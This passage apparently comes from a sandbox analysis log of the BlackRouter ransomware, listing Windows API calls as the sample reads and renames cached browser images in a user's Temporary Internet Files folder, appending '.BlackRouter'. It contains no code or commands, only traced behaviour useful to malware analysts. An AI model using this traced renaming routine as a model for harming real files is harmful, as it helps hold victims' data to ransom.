files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png.blackrouter")) returned 1 [0066.721] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2b5 [0066.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459ad690, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459ad690, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce4a1fb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2c0)) returned 1 [0066.734] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png.blackrouter")) returned 1 [0066.735] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x36e [0066.743] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45bc29d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45bc29d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce4c8110, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x370)) returned 1 [0066.743] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png.blackrouter")) returned 1 [0066.745] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x23f [0066.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x455f5430, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x455f5430, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce4c8110, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x240)) returned 1 [0066.754] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png.blackrouter")) returned 1 [0066.755] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x67 [0066.762] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfb41730, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfb41730, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xce4ee270, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0066.762] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png.blackrouter")) returned 1 [0066.764] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x340b [0066.775] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ab8030, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ab8030, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce5143d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3410)) returned 1 [0066.776] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg.blackrouter")) returned 1 [0066.777] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x19a4 [0066.789] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x538925d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x538925d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce5143d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x19b0)) returned 1 [0066.789] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg.blackrouter")) returned 1 [0066.790] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x278e [0066.809] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458308d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458308d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce560690, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2790)) returned 1 [0066.809] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg.blackrouter")) returned 1 [0066.810] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2143 [0066.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53337450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53337450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce560690, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2150)) returned 1 [0066.815] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg.blackrouter")) returned 1 [0066.816] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x912 [0066.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5348e0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5348e0b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce5867f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x920)) returned 1 [0066.825] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg.blackrouter")) returned 1 [0066.826] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x6e8 [0066.838] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x532eb190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x532eb190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce5ac950, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6f0)) returned 1 [0066.838] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg.blackrouter")) returned 1 [0066.839] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x36d2 [0066.866] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x537add90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x537add90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce5d2ab0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x36e0)) returned 1 [0066.866] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg.blackrouter")) returned 1 [0066.868] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x75e [0066.892] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53194530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53194530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce61ed70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x760)) returned 1 [0066.892] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg.blackrouter")) returned 1 [0066.894] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x6dc [0066.898] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539049f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539049f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce61ed70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6e0)) returned 1 [0066.898] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg.blackrouter")) returned 1 [0066.899] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x9be [0066.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53467f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53467f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce66b030, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9c0)) returned 1 [0066.927] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg.blackrouter")) returned 1 [0066.929] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1694 [0066.933] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53194530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53194530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce691190, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x16a0)) returned 1 [0066.934] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg.blackrouter")) returned 1 [0066.935] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x85d [0066.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539e9230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539e9230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce6b72f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, 